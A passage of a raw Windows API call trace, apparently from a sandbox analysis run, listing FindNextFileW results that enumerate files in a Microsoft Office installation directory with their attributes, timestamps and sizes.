lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0129.550] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0129.550] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0129.551] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0129.551] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0129.551] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f8c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="csi.dll", cAlternateFileName="")) returned 1 [0129.551] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e270, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSIRESOURCES.DLL", cAlternateFileName="CSIRES~1.DLL")) returned 1 [0129.551] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4cab791, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4cab791, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a5d714, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x904f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~1.DLL")) returned 1 [0129.551] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4cd1a25, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4cd1a25, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a5d714, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbacf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0129.551] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4cab791, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4cab791, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a8396f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba890, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="CSS7DA~2.DLL")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d1e5ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="CUSTOM~1.PRO")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x85cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0b2f3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde2222ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x122a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="DOCUME~1")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3e7feda, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x344a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0129.552] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4e2564e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x899050, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0129.553] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1beddbb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1beddbb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1beddbb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x374a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELECTRICAL.VSL", cAlternateFileName="ELECTR~1.VSL")) returned 1 [0129.553] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0129.553] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb141e15, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5d10a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0129.553] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0129.553] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="ENTITY~2.DLL")) returned 1 [0129.553] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ac68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0129.553] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2fe923e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4264503, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd52eea7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20d8840, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0129.553] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc54b7686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc54b7686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc54dd8eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x61f, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="EXCELE~1.MAN")) returned 1 [0129.554] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.VisualElementsManifest.xml", cAlternateFileName="EXCELV~1.XML")) returned 1 [0129.554] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1c8beb8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee3a0b07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cc72a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0129.554] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe238cd90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe238cd90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe24be028, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x62c, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe.manifest", cAlternateFileName="EXCELC~1.MAN")) returned 1 [0129.554] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16440, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="EXCELC~1.DLL")) returned 1 [0129.554] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67030, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0129.554] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d1e5ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1469b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtensibleApp.xap", cAlternateFileName="EXTENS~1.XAP")) returned 1 [0129.554] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x16da48, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0129.554] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ccc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FilterModule.dll", cAlternateFileName="FILTER~1.DLL")) returned 1 [0129.556] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2497e17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2497e17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2687c83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc5640, dwReserved0=0x0, dwReserved1=0x0, cFileName="FIRSTRUN.EXE", cAlternateFileName="")) returned 1 [0129.556] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x190c9cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="FIRSTRUN.VisualElementsManifest.xml", cAlternateFileName="FIRSTR~1.XML")) returned 1 [0129.556] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0129.557] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0129.557] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18b202d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x701c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0130.337] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMAIN.DLL", cAlternateFileName="")) returned 1 [0130.337] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSXP32.DLL", cAlternateFileName="")) returned 1 [0130.337] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39078, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0130.337] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x316d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0130.337] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca57b43c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca57b43c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb0cf768, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9de60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnOL.dll", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6164f96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x376c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnPPT.dll", cAlternateFileName="ONBTTN~2.DLL")) returned 1 